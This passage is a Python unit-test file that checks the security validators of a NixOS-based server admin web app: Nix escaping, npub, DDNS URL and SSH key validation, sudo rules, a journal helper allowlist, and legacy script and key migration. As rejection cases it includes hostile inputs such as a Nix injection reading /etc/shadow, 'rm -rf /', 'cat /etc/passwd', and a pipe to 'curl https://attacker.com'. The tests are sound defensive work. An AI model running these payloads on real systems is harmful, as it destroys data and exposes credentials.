# Add the app package to the path so we can import without the full FastAPI tree.
|
||||
_REPO_ROOT = os.path.normpath(os.path.join(os.path.dirname(__file__), ".."))
|
||||
_APP_PARENT = os.path.join(_REPO_ROOT, "app")
|
||||
if _APP_PARENT not in sys.path:
|
||||
sys.path.insert(0, _APP_PARENT)
|
||||
|
||||
from sovran_systemsos_web.security_helpers import ( # noqa: E402
|
||||
_nix_escape,
|
||||
NPUB_RE,
|
||||
_validate_npub,
|
||||
_validate_ddns_url,
|
||||
_validate_ssh_pubkey,
|
||||
_DDNS_ALLOWED_HOSTNAMES,
|
||||
_bech32_decode,
|
||||
)
|
||||
from sovran_systemsos_web import support_ops # noqa: E402
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Nix string escaping
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestNixEscape(unittest.TestCase):
|
||||
"""_nix_escape must prevent injection into Nix string literals."""
|
||||
|
||||
def test_double_quotes_escaped(self):
|
||||
self.assertEqual(_nix_escape('"hello"'), '\\"hello\\"')
|
||||
|
||||
def test_backslash_escaped(self):
|
||||
self.assertEqual(_nix_escape("a\\b"), "a\\\\b")
|
||||
|
||||
def test_nix_interpolation_escaped(self):
|
||||
self.assertEqual(_nix_escape("${evil}"), "\\${evil}")
|
||||
|
||||
def test_newline_escaped(self):
|
||||
self.assertEqual(_nix_escape("a\nb"), "a\\nb")
|
||||
|
||||
def test_carriage_return_escaped(self):
|
||||
self.assertEqual(_nix_escape("a\rb"), "a\\rb")
|
||||
|
||||
def test_tab_escaped(self):
|
||||
self.assertEqual(_nix_escape("a\tb"), "a\\tb")
|
||||
|
||||
def test_semicolons_unchanged(self):
|
||||
self.assertEqual(_nix_escape("a;b"), "a;b")
|
||||
|
||||
def test_valid_timezone(self):
|
||||
self.assertEqual(_nix_escape("America/New_York"), "America/New_York")
|
||||
|
||||
def test_injection_payload_quotes_and_interpolation(self):
|
||||
payload = '"; import <nixpkgs/nixos/tests/keymap.nix> { ${builtins.readFile "/etc/shadow"} }'
|
||||
result = _nix_escape(payload)
|
||||
import re as _re
|
||||
self.assertIsNone(_re.search(r'(?<!\\)\$\{', result))
|
||||
|
||||
def test_npub_injection(self):
|
||||
payload = 'npub1aaa"; extraUsers.evil.isNormalUser = true; #'
|
||||
result = _nix_escape(payload)
|
||||
self.assertNotIn('"', result.replace('\\"', ""))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Nostr npub validation — regex pre-filter
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestNpubValidationRegex(unittest.TestCase):
|
||||
"""NPUB_RE must enforce the npub1 + 58 lowercase bech32 shape."""
|
||||
|
||||
# 58 bech32 chars after "npub1"
|
||||
VALID_SHAPE = "npub1" + "q" * 58
|
||||
|
||||
def test_valid_shape_accepted(self):
|
||||
self.assertIsNotNone(NPUB_RE.fullmatch(self.VALID_SHAPE))
|
||||
|
||||
def test_wrong_prefix_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch("nsec1" + "q" * 58))
|
||||
|
||||
def test_too_short_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 57))
|
||||
|
||||
def test_too_long_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 59))
|
||||
|
||||
def test_uppercase_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch("NPUB1" + "q" * 58))
|
||||
|
||||
def test_injection_quote_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch('npub1aaa"; extraUsers.evil.isNormalUser = true; #'))
|
||||
|
||||
def test_injection_interpolation_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "${" + "q" * 52))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Nostr npub validation — full bech32
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestNpubBech32Validation(unittest.TestCase):
|
||||
"""_validate_npub must verify the full bech32 checksum and payload length."""
|
||||
|
||||
BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
|
||||
|
||||
def _make_npub(self, payload_bytes: bytes) -> str | None:
|
||||
"""Build a syntactically valid npub from raw 32-byte payload."""
|
||||
from sovran_systemsos_web.security_helpers import (
|
||||
_bech32_hrp_expand,
|
||||
_bech32_polymod,
|
||||
_bech32_create_checksum,
|
||||
)
|
||||
|
||||
def _convertbits(data, frombits, tobits, pad=True):
|
||||
acc, bits, ret, maxv = 0, 0, [], (1 << tobits) - 1
|
||||
for value in data:
|
||||
acc = ((acc << frombits) | value)
|
||||
bits += frombits
|
||||
while bits >= tobits:
|
||||
bits -= tobits
|
||||
ret.append((acc >> bits) & maxv)
|
||||
if pad and bits:
|
||||
ret.append((acc << (tobits - bits)) & maxv)
|
||||
return ret
|
||||
|
||||
hrp = "npub"
|
||||
data5 = _convertbits(list(payload_bytes), 8, 5)
|
||||
checksum = _bech32_create_checksum(hrp, data5)
|
||||
full = data5 + checksum
|
||||
return hrp + "1" + "".join(self.BECH32_CHARSET[d] for d in full)
|
||||
|
||||
def test_valid_npub_passes_bech32(self):
|
||||
npub = self._make_npub(bytes(32))
|
||||
self.assertIsNotNone(npub)
|
||||
self.assertTrue(_validate_npub(npub))
|
||||
|
||||
def test_bech32_decode_returns_32_bytes(self):
|
||||
npub = self._make_npub(b'\x01' * 32)
|
||||
result = _bech32_decode(npub)
|
||||
self.assertIsNotNone(result)
|
||||
hrp, payload = result
|
||||
self.assertEqual(hrp, "npub")
|
||||
self.assertEqual(len(payload), 32)
|
||||
|
||||
def test_corrupted_checksum_rejected(self):
|
||||
npub = self._make_npub(bytes(32))
|
||||
# Flip last character in the data part
|
||||
corrupted = npub[:-1] + ("q" if npub[-1] != "q" else "p")
|
||||
self.assertFalse(_validate_npub(corrupted))
|
||||
|
||||
def test_mixed_case_rejected(self):
|
||||
npub = self._make_npub(bytes(32))
|
||||
mixed = npub[:10].upper() + npub[10:]
|
||||
self.assertFalse(_validate_npub(mixed))
|
||||
|
||||
def test_wrong_hrp_rejected(self):
|
||||
self.assertFalse(_validate_npub("nsec1" + "q" * 58))
|
||||
|
||||
def test_synthetic_all_q_rejected_by_checksum(self):
|
||||
self.assertFalse(_validate_npub("npub1" + "q" * 58))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# DDNS URL validation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestDdnsUrlValidation(unittest.TestCase):
|
||||
"""_validate_ddns_url must enforce all security constraints."""
|
||||
|
||||
# VALID_URL has no ${IP}: callers must substitute before validation.
|
||||
VALID_URL = "https://njal.la/update/?h=test.example.com&k=TOKEN&a=1.2.3.4"
|
||||
|
||||
def test_valid_njalla_url_accepted(self):
|
||||
self.assertEqual(_validate_ddns_url(self.VALID_URL), self.VALID_URL)
|
||||
|
||||
def test_www_njalla_accepted(self):
|
||||
url = "https://www.njal.la/update/?h=test&k=TOKEN"
|
||||
self.assertEqual(_validate_ddns_url(url), url)
|
||||
|
||||
def test_http_scheme_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("http://njal.la/update/?k=TOKEN")
|
||||
|
||||
def test_ftp_scheme_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("ftp://njal.la/update/?k=TOKEN")
|
||||
|
||||
def test_credentials_in_url_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("******njal.la/update/?k=TOKEN")
|
||||
|
||||
def test_fragment_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/update/?k=TOKEN#frag")
|
||||
|
||||
def test_raw_ip_host_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://1.2.3.4/update/?k=TOKEN")
|
||||
|
||||
def test_non_standard_port_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la:8443/update/?k=TOKEN")
|
||||
|
||||
def test_control_character_newline_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/update/?k=TOKEN\n")
|
||||
|
||||
def test_control_character_null_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/update/?k=\x00TOKEN")
|
||||
|
||||
def test_percent_encoded_null_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/update/?k=TOKEN%00")
|
||||
|
||||
def test_localhost_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://localhost/update/?k=TOKEN")
|
||||
|
||||
def test_127_0_0_1_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://127.0.0.1/update/?k=TOKEN")
|
||||
|
||||
def test_arbitrary_public_hostname_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://example.com/update/?k=TOKEN")
|
||||
|
||||
def test_attacker_host_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://attacker.njal.la/update/?k=TOKEN")
|
||||
|
||||
def test_metadata_endpoint_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://169.254.169.254/update/?k=TOKEN")
|
||||
|
||||
def test_empty_url_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("")
|
||||
|
||||
def test_too_long_rejected(self):
|
||||
long_url = "https://njal.la/update/?" + "k=" + "x" * 3000
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url(long_url)
|
||||
|
||||
def test_allowed_hostnames_set(self):
|
||||
self.assertIn("njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
||||
self.assertIn("www.njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
||||
self.assertNotIn("attacker.njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
||||
self.assertNotIn("localhost", _DDNS_ALLOWED_HOSTNAMES)
|
||||
|
||||
def test_dollar_expression_rejected(self):
|
||||
"""$ in a validated URL is rejected; callers must substitute ${IP} first."""
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/update/?h=test&k=TOKEN&a=${IP}")
|
||||
|
||||
def test_wrong_path_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/api/?k=TOKEN")
|
||||
|
||||
def test_exact_update_path_accepted(self):
|
||||
url = "https://njal.la/update/?h=host.example.com&k=TOKEN"
|
||||
self.assertEqual(_validate_ddns_url(url), url)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# SSH public-key validation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestSshPubkeyValidation(unittest.TestCase):
|
||||
"""_validate_ssh_pubkey must accept only valid single-line OpenSSH public keys."""
|
||||
|
||||
VALID_ED25519 = (
|
||||
"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl user@host"
|
||||
)
|
||||
|
||||
def test_valid_ed25519_accepted(self):
|
||||
result = _validate_ssh_pubkey(self.VALID_ED25519)
|
||||
self.assertEqual(result, self.VALID_ED25519)
|
||||
|
||||
def test_unsupported_algorithm_rsa_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey("ssh-rsa AAAAB3NzaC1yc2EAAAA user@host")
|
||||
|
||||
def test_dss_algorithm_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey("ssh-dss AAAAB3NzaC1kc3MAAA user@host")
|
||||
|
||||
def test_multiline_injection_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey(self.VALID_ED25519 + "\necho pwned")
|
||||
|
||||
def test_options_prefix_not_accepted(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey('command="ls" ' + self.VALID_ED25519)
|
||||
|
||||
def test_empty_key_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey("")
|
||||
|
||||
def test_control_character_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey("ssh-ed25519 AAAA\x00 user@host")
|
||||
|
||||
def test_malformed_base64_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey("ssh-ed25519 not-valid-base64!!! user@host")
|
||||
|
||||
def test_too_short_payload_rejected(self):
|
||||
short_b64 = base64.b64encode(b"\x00" * 10).decode()
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey(f"ssh-ed25519 {short_b64} user@host")
|
||||
|
||||
def test_missing_key_body_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ssh_pubkey("ssh-ed25519")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Auth-exempt paths
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestAuthExemptPaths(unittest.TestCase):
|
||||
"""/api/reboot and status endpoints must not be in the auth-exempt set."""
|
||||
|
||||
def _get_exempt_paths(self):
|
||||
import re
|
||||
src = open(
|
||||
os.path.join(_REPO_ROOT, "app", "sovran_systemsos_web", "server.py")
|
||||
).read()
|
||||
m = re.search(r"_AUTH_EXEMPT_PATHS\s*=\s*\{([^}]*)\}", src)
|
||||
self.assertIsNotNone(m, "_AUTH_EXEMPT_PATHS not found in server.py")
|
||||
return {p.strip().strip('"') for p in m.group(1).split(",") if p.strip().strip('"')}
|
||||
|
||||
def test_reboot_not_exempt(self):
|
||||
self.assertNotIn("/api/reboot", self._get_exempt_paths())
|
||||
|
||||
def test_updates_status_not_exempt(self):
|
||||
self.assertNotIn("/api/updates/status", self._get_exempt_paths())
|
||||
|
||||
def test_rebuild_status_not_exempt(self):
|
||||
self.assertNotIn("/api/rebuild/status", self._get_exempt_paths())
|
||||
|
||||
def test_login_still_exempt(self):
|
||||
self.assertIn("/api/login", self._get_exempt_paths())
|
||||
|
||||
def test_ping_still_exempt(self):
|
||||
self.assertIn("/api/ping", self._get_exempt_paths())
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# tech-support.nix validation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestTechSupportSudoRules(unittest.TestCase):
|
||||
"""tech-support.nix must not grant broad privileges."""
|
||||
|
||||
def _get_nix_content(self):
|
||||
path = os.path.join(_REPO_ROOT, "modules", "core", "tech-support.nix")
|
||||
with open(path) as f:
|
||||
return f.read()
|
||||
|
||||
def test_no_nano_custom_nix(self):
|
||||
self.assertNotIn("nano /etc/nixos/custom.nix", self._get_nix_content())
|
||||
|
||||
def test_no_nano_configuration_nix(self):
|
||||
self.assertNotIn("nano /etc/nixos/configuration.nix", self._get_nix_content())
|
||||
|
||||
def test_no_unrestricted_nixos_rebuild(self):
|
||||
self.assertNotIn("nixos-rebuild switch", self._get_nix_content())
|
||||
|
||||
def test_no_wildcard_systemctl_restart(self):
|
||||
self.assertNotIn("systemctl restart *", self._get_nix_content())
|
||||
|
||||
def test_journalctl_wildcard_removed(self):
|
||||
"""The bare 'journalctl *' sudo rule must be gone."""
|
||||
content = self._get_nix_content()
|
||||
self.assertNotIn('"/run/current-system/sw/bin/journalctl *"', content)
|
||||
self.assertNotIn("journalctl *", content.replace("journal-helper", ""))
|
||||
|
||||
def test_journal_helper_referenced(self):
|
||||
"""The restricted journal helper must be referenced instead."""
|
||||
content = self._get_nix_content()
|
||||
self.assertIn("sovran-journal-helper", content)
|
||||
|
||||
def test_sovran_hub_web_service_referenced(self):
|
||||
"""tech-support.nix must reference sovran-hub-web.service, not the nonexistent sovran-hub.service."""
|
||||
content = self._get_nix_content()
|
||||
self.assertIn("sovran-hub-web.service", content)
|
||||
self.assertNotIn('"sovran-hub.service"', content)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Journal helper — unit allowlist validation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestJournalHelper(unittest.TestCase):
|
||||
"""The restricted journal helper must enforce the explicit unit allowlist."""
|
||||
|
||||
def _run_helper(self, args):
|
||||
"""Run the helper script and return (returncode, stderr)."""
|
||||
import subprocess
|
||||
helper = os.path.join(_REPO_ROOT, "modules", "core", "sovran-journal-helper.py")
|
||||
result = subprocess.run(
|
||||
[sys.executable, helper] + args,
|
||||
capture_output=True, text=True,
|
||||
)
|
||||
return result.returncode, result.stderr
|
||||
|
||||
# ── Allowlisted units ──
|
||||
def test_sovran_hub_web_accepted(self):
|
||||
rc, stderr = self._run_helper(["--unit", "sovran-hub-web.service"])
|
||||
self.assertNotIn("rejected", stderr)
|
||||
|
||||
def test_caddy_accepted(self):
|
||||
rc, stderr = self._run_helper(["--unit", "caddy.service"])
|
||||
self.assertNotIn("rejected", stderr)
|
||||
|
||||
def test_bitcoind_accepted(self):
|
||||
rc, stderr = self._run_helper(["--unit", "bitcoind.service"])
|
||||
self.assertNotIn("rejected", stderr)
|
||||
|
||||
def test_lnd_accepted(self):
|
||||
rc, stderr = self._run_helper(["--unit", "lnd.service"])
|
||||
self.assertNotIn("rejected", stderr)
|
||||
|
||||
# ── Rejected units ──
|
||||
def test_unapproved_service_rejected(self):
|
||||
rc, stderr = self._run_helper(["--unit", "sshd.service"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_old_sovran_hub_service_rejected(self):
|
||||
"""The old nonexistent sovran-hub.service must now be rejected."""
|
||||
rc, stderr = self._run_helper(["--unit", "sovran-hub.service"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_directory_flag_rejected(self):
|
||||
rc, stderr = self._run_helper(["--directory", "/var/log"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_arbitrary_path_rejected(self):
|
||||
rc, stderr = self._run_helper(["/etc/passwd"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_file_flag_rejected(self):
|
||||
rc, stderr = self._run_helper(["--file", "/var/log/journal/foo"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_no_args_rejected(self):
|
||||
"""Whole-journal queries (no --unit) must be rejected."""
|
||||
rc, stderr = self._run_helper([])
|
||||
self.assertNotEqual(rc, 0)
|
||||
# Should mention --unit requirement
|
||||
self.assertIn("unit", stderr.lower())
|
||||
|
||||
def test_lines_only_no_unit_rejected(self):
|
||||
"""--lines without --unit is a whole-journal query and must be rejected."""
|
||||
rc, stderr = self._run_helper(["--lines", "50"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
|
||||
def test_lines_flag_accepted(self):
|
||||
rc, stderr = self._run_helper(["--unit", "caddy.service", "--lines", "50"])
|
||||
self.assertNotIn("rejected", stderr)
|
||||
|
||||
def test_lines_too_large_rejected(self):
|
||||
rc, stderr = self._run_helper(["--lines", "99999"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_negative_lines_rejected(self):
|
||||
rc, stderr = self._run_helper(["--lines", "-1"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
|
||||
def test_since_with_valid_date_accepted(self):
|
||||
rc, stderr = self._run_helper(["--unit", "caddy.service", "--since", "2024-01-01"])
|
||||
self.assertNotIn("rejected", stderr)
|
||||
|
||||
def test_since_with_path_rejected(self):
|
||||
rc, stderr = self._run_helper(["--since", "/etc/passwd"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_output_short_accepted(self):
|
||||
rc, stderr = self._run_helper(["--unit", "caddy.service", "--output", "short"])
|
||||
self.assertNotIn("rejected", stderr)
|
||||
|
||||
def test_output_arbitrary_rejected(self):
|
||||
rc, stderr = self._run_helper(["--output", "export --to /tmp/out"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_invalid_unit_name_rejected(self):
|
||||
rc, stderr = self._run_helper(["--unit", "../../../etc/passwd"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
def test_unit_without_suffix_rejected(self):
|
||||
rc, stderr = self._run_helper(["--unit", "caddy"])
|
||||
self.assertNotEqual(rc, 0)
|
||||
self.assertIn("rejected", stderr)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Legacy Njalla migration — production-backed tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestNjallaLegacyMigration(unittest.TestCase):
|
||||
"""migrate_legacy_njalla_script must not execute or preserve malicious content.
|
||||
|
||||
All tests call the exact production implementation from support_ops with
|
||||
temporary files; no logic is duplicated here.
|
||||
"""
|
||||
|
||||
def _run_migration(self, script_content: str) -> tuple[list[str], bool]:
|
||||
"""Run the production migration against temp files, return (urls, script_archived)."""
|
||||
captured_urls: list[str] = []
|
||||
saved = [False]
|
||||
|
||||
def _load():
|
||||
return []
|
||||
|
||||
def _save(urls):
|
||||
captured_urls.extend(urls)
|
||||
saved[0] = True
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
script_path = os.path.join(tmpdir, "njalla.sh")
|
||||
with open(script_path, "w") as f:
|
||||
f.write(script_content)
|
||||
os.chmod(script_path, 0o755)
|
||||
|
||||
support_ops.migrate_legacy_njalla_script(
|
||||
script_path,
|
||||
_validate_ddns_url,
|
||||
_save,
|
||||
_load,
|
||||
)
|
||||
|
||||
archived = oct(os.stat(script_path).st_mode)[-3:] == "000"
|
||||
return captured_urls, archived
|
||||
|
||||
def test_valid_unquoted_curl_line_extracted(self):
|
||||
script = (
|
||||
"#!/usr/bin/env bash\n"
|
||||
"IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n"
|
||||
"curl --silent https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}\n"
|
||||
)
|
||||
urls, archived = self._run_migration(script)
|
||||
self.assertEqual(len(urls), 1)
|
||||
self.assertIn("njal.la", urls[0])
|
||||
self.assertTrue(archived, "script should be archived after successful migration")
|
||||
|
||||
def test_valid_quoted_curl_line_extracted(self):
|
||||
"""Historical quoted form: curl \"https://njal.la/...\" must be parsed."""
|
||||
script = (
|
||||
"#!/usr/bin/env bash\n"
|
||||
'curl "https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}"\n'
|
||||
)
|
||||
urls, archived = self._run_migration(script)
|
||||
self.assertEqual(len(urls), 1, "quoted URL must be extracted")
|
||||
self.assertIn("njal.la", urls[0])
|
||||
|
||||
def test_command_injection_not_extracted(self):
|
||||
script = "curl https://njal.la/update/?k=TOKEN; rm -rf /\n"
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_backtick_injection_not_extracted(self):
|
||||
script = "curl https://njal.la/update/?k=`cat /etc/passwd`\n"
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_pipe_injection_not_extracted(self):
|
||||
script = "curl https://njal.la/update/?k=TOKEN | curl https://attacker.com\n"
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_dollar_injection_not_extracted(self):
|
||||
script = "curl https://njal.la/update/?k=$(evil_command)\n"
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_non_njalla_url_not_extracted(self):
|
||||
script = "curl https://attacker.example.com/update/?k=TOKEN\n"
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_http_url_not_extracted(self):
|
||||
script = "curl http://njal.la/update/?k=TOKEN\n"
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_semicolons_in_url_not_extracted(self):
|
||||
script = "curl https://njal.la/update/?k=TOKEN;echo evil\n"
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_newline_injection_not_extracted(self):
|
||||
script = 'curl "https://njal.la/update/?k=TOKEN\necho evil"\n'
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_malformed_quotes_not_extracted(self):
|
||||
"""Half-open quote must not match."""
|
||||
script = 'curl "https://njal.la/update/?k=TOKEN\n'
|
||||
urls, _ = self._run_migration(script)
|
||||
self.assertEqual(urls, [])
|
||||
|
||||
def test_failed_persistence_leaves_script_untouched(self):
|
||||
"""If save_fn raises, the script must NOT be archived."""
|
||||
def _fail_save(urls):
|
||||
raise OSError("disk full")
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
script_path = os.path.join(tmpdir, "njalla.sh")
|
||||
script_content = (
|
||||
"#!/usr/bin/env bash\n"
|
||||
"curl https://njal.la/update/?h=test&k=TOKEN\n"
|
||||
)
|
||||
with open(script_path, "w") as f:
|
||||
f.write(script_content)
|
||||
os.chmod(script_path, 0o755)
|
||||
|
||||
support_ops.migrate_legacy_njalla_script(
|
||||
script_path,
|
||||
_validate_ddns_url,
|
||||
_fail_save,
|
||||
lambda: [],
|
||||
)
|
||||
|
||||
# Script must still be executable (not archived)
|
||||
mode = oct(os.stat(script_path).st_mode)[-3:]
|
||||
self.assertNotEqual(mode, "000", "script must not be archived when persistence fails")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Legacy root key removal — production-backed tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestLegacyRootKeyRemoval(unittest.TestCase):
|
||||
"""remove_legacy_root_key must remove only the exact historical key blob.
|
||||
|
||||
All tests call the exact production implementation from support_ops with
|
||||
temporary files; no simulation is used.
|
||||
"""
|
||||
|
||||
TARGET_BLOB = support_ops.LEGACY_ROOT_KEY_BLOB
|
||||
|
||||
def _do_removal(self, file_content: str) -> tuple[bool, str]:
|
||||
"""Run production key removal, return (changed, result_content)."""
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
auth_keys = os.path.join(tmpdir, "authorized_keys")
|
||||
with open(auth_keys, "w") as f:
|
||||
f.write(file_content)
|
||||
changed = support_ops.remove_legacy_root_key(auth_keys, self.TARGET_BLOB)
|
||||
with open(auth_keys) as f:
|
||||
result = f.read()
|
||||
return changed, result
|
||||
|
||||
def test_exact_historical_key_removed(self):
|
||||
"""The exact historical key must be removed regardless of comment."""
|
||||
lines = (
|
||||
"ssh-ed25519 AAAA admin@host\n"
|
||||
f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
|
||||
"ssh-ed25519 CCCC another@host\n"
|
||||
)
|
||||
changed, result = self._do_removal(lines)
|
||||
self.assertTrue(changed)
|
||||
self.assertNotIn(self.TARGET_BLOB, result)
|
||||
self.assertIn("admin@host", result)
|
||||
self.assertIn("another@host", result)
|
||||
|
||||
def test_same_comment_different_blob_preserved(self):
|
||||
"""A key with 'free@nixos' comment but different blob must NOT be removed."""
|
||||
lines = (
|
||||
"ssh-ed25519 DIFFERENTBLOB free@nixos\n"
|
||||
)
|
||||
changed, result = self._do_removal(lines)
|
||||
self.assertFalse(changed)
|
||||
self.assertIn("DIFFERENTBLOB", result)
|
||||
|
||||
def test_legacy_key_with_different_comment_removed(self):
|
||||
"""The exact blob with any comment (or no comment) must be removed."""
|
||||
lines = f"ssh-ed25519 {self.TARGET_BLOB} some-other-comment\n"
|
||||
changed, result = self._do_removal(lines)
|
||||
self.assertTrue(changed)
|
||||
self.assertNotIn(self.TARGET_BLOB, result)
|
||||
|
||||
def test_unrelated_keys_preserved(self):
|
||||
lines = "ssh-ed25519 AAAA admin@host\nssh-ed25519 CCCC another@host\n"
|
||||
changed, result = self._do_removal(lines)
|
||||
self.assertFalse(changed)
|
||||
self.assertEqual(result, lines)
|
||||
|
||||
def test_empty_file_unchanged(self):
|
||||
changed, result = self._do_removal("")
|
||||
self.assertFalse(changed)
|
||||
self.assertEqual(result, "")
|
||||
|
||||
def test_comment_line_preserved(self):
|
||||
lines = "# authorized keys\nssh-ed25519 AAAA admin@host\n"
|
||||
changed, result = self._do_removal(lines)
|
||||
self.assertFalse(changed)
|
||||
self.assertEqual(result, lines)
|
||||
|
||||
def test_missing_file_returns_false(self):
|
||||
result = support_ops.remove_legacy_root_key("/nonexistent/path", self.TARGET_BLOB)
|
||||
self.assertFalse(result)
|
||||
|
||||
def test_audit_callback_called(self):
|
||||
events = []
|
||||
lines = f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
auth_keys = os.path.join(tmpdir, "authorized_keys")
|
||||
with open(auth_keys, "w") as f:
|
||||
f.write(lines)
|
||||
support_ops.remove_legacy_root_key(
|
||||
auth_keys, self.TARGET_BLOB,
|
||||
audit_fn=lambda event, details="": events.append(event),
|
||||
)
|
||||
self.assertIn("LEGACY_ROOT_KEY_REMOVED", events)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Support session expiry — production-backed tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestSupportSessionExpiration(unittest.TestCase):
|
||||
"""expire_if_stale must enforce expiry and the session_id guard.
|
||||
|
||||
All tests call the exact production implementation from support_ops with
|
||||
temporary files and injectable clock/disable functions.
|
||||
"""
|
||||
|
||||
def _write_session(self, tmpdir, **fields) -> str:
|
||||
